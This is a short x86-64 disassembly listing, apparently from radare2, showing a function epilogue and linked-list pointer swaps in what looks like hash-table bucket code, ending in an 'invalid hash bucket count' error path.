mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x1400142b3
lea rcx, str.invalid_hash_bucket_count
call fcn.140020488
int3